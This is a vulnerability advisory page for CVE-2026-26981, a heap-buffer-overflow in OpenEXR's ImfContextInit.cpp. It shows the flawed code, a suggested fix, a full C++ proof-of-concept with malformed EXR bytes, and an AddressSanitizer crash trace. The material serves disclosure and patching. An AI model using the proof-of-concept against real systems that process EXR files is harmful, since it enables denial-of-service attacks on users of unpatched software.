OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136ImfContextInit.cpp:121-126:
```cpp
int64_t stream_sz = s->size (); // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004
```
sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
```cpp
#include <cstdint>
#include <cstring>
#include <iostream>
#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER
class MemMapIStream : public IStream
{
public:
MemMapIStream (const uint8_t* data, size_t len)
: IStream ("poc_input")
, _data (reinterpret_cast<const char*> (data))
, _size (static_cast<int64_t> (len))
, _pos (0)
{}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override
{
int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;
if (copy > 0) memcpy (c, _data + _pos, copy);
_pos += n;
return _pos <= _size;
}
char* readMemoryMapped (int n) override
{
if (_pos + n > _size)
throw IEX_NAMESPACE::InputExc ("read past end");
const char* p = _data + _pos;
_pos += n;
return const_cast<char*> (p);
}
uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }
int64_t size () override { return _size; }
private:
const char* _data;
int64_t _size;
int64_t _pos;
};
OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT
int main ()
{
static const uint8_t crash_data[] = {
0x76, 0x2f, 0x31, 0x01,
0x02, 0x06, 0x00, 0x00,
0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
0x20, 0x00, 0x00,
0x53, 0x00, 0x00, 0x00
};
try
{
Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
Imf::MultiPartInputFile file (stream);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what () << "\n";
}
return 0;
}
```
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link
```
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
#3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
#4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
#5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
#6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
#7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
#8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
#9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
#10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CVE-2026-26981 is classified as CWE-195: Signed to Unsigned Conversion Error. The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
CVE-2026-26981 is recorded against 1 package.
Published on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)
openexr has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-195: Signed to Unsigned Conversion Error) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| openexr | 3.4.0 | 3.4.5 |
Similar Threats
Exploit Protection
CVE-2026-26981 carries CVSS 6.5 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-26981 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.